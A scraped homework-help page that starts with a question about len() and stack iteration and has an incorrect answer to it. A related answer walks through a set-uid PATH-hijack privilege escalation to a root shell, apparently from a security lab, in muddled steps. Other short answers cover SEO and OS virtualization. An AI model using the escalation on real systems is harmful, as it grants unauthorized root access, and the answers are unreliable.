1answer.
Ask question
Login Signup
Ask question
All categories
  • English
  • Mathematics
  • Social Studies
  • Business
  • History
  • Health
  • Geography
  • Biology
  • Physics
  • Chemistry
  • Computers and Technology
  • Arts
  • World Languages
  • Spanish
  • French
  • German
  • Advanced Placement (AP)
  • SAT
  • Medicine
  • Law
  • Engineering
Nuetrik [128]
3 years ago
6

Why is the len ( ) function useful when using a loop to iterate through a stack?

Computers and Technology
1 answer:
Marizza181 [45]3 years ago
6 0

The len ( ) function will run with each iteration, printing the element number each time.

You might be interested in
The PATH environment variable.
enot [183]

Answer:

Answer explained below

Explanation:

Yes, you can let Set-uid program that is owned by root to run your code instead of /bin/ls but it has it's own drawbacks and is actually not safe.

As you can not rely on that since some of the shells if different from the ruid drop an euid which is actually not safe.

execl("/bin/ls", "ls",(char *)0);  

run this under your main program.

Since it can have a root previlege,

-$ cd /tmp/

/tmp$ sudo su

:/tmp# gcc -o system system.c

:/tmp# chmod u+s system // changing file permissions

:/tmp# exit

exit

:/tmp$ cp /bin/sh /tmp/ls

:/tmp$ ./system

<u>Steps: </u>

1. The first thing you need to do is copy /bin/sh to /tmp.

2. After copying /bin/sh to /tmp set a new name ls but make sure your sh ->.zsh.

3. Set PATH to current directory. /tmp.

4. Compile

5. Run the program system and you can get your root previledge.

Now, with the above exmaple if you change /bin/sh soo that it points back to /bin/bash and repeat all the previous steps, you will not be able to get your root previledges.

8 0
4 years ago
What is mean by SEO?
Gre4nikov [31]

Answer:

SEO = Search Engine Optimization

7 0
3 years ago
Read 2 more answers
Yo need help can someone plz help
Natasha_Volkova [10]
Boolean search would be the answer
5 0
3 years ago
Explain why you cannot the Apple OS install on a regular windows computer and vice versa, without the aid of a virtualization so
Phoenix [80]

Answer:

The reason is due to proprietary design of the Operating System (OS) which require a virtualization software to blanket or "disguise" the hardware (processor) borderlines of the computer onto which it is to be installed.

Explanation:

An Apple system that has the RISC processor and system architecture which has an operating system made entirely for the Apple system architecture

If the above Apple OS is to be installed on a windows computer, then the procedure to setup up the OS has to be the same as that used when on an Apple system, hence, due to the different processors and components of both systems, a virtualization will be be needed to be provided by a Virtual box, Parallels desktop or other virtualization software.

6 0
3 years ago
Explain the working system of a computer with an example​
Gwar [14]

Answer:

A computer system works by combining input, storage space, processing, and output. For example, when we type something using a keyboard, it is known as an Input provided to the Computer. Storage Space: It is the place where our input gets stored. It is known as Computer Memory that keeps the data into it.

ExplanationExplanation:

5 0
2 years ago
Other questions:
  • Write a program that reads a 4-bit binary number from the keyboard as a string and then converts it into decimal. For example, i
    11·1 answer
  • As an alternative to using the Color button on the PICTURE TOOLS FORMAT tab to display the Color gallery, you can right-click th
    9·1 answer
  • Pick an appliance or an electronic device that you use at home that is powered from the wall outlet. Specify which electronics d
    10·1 answer
  • Write a Python program that asks the user for a positive, odd value. Once the value is validated determine if the number is Prim
    11·1 answer
  • What happens when a user clicks the question mark at the top of the Backstage view?
    14·2 answers
  • X333: countElements Given an array of integers and an integer target, return a count of the number of times the target value occ
    6·1 answer
  • What could have made you redesign your plan? Select 3 options.
    6·1 answer
  • Who is the owner of apple company??​
    13·2 answers
  • HOMEWORK: Bud, Not Buddy I NOTICE... What do you see? chpter 3-4<br><br>​
    14·1 answer
  • Write a C++ line of code to declare a variable of type “double” that signifies the average of student grades, then initialize th
    6·1 answer
Add answer
Login
Not registered? Fast signup
Signup
Login Signup
Ask question!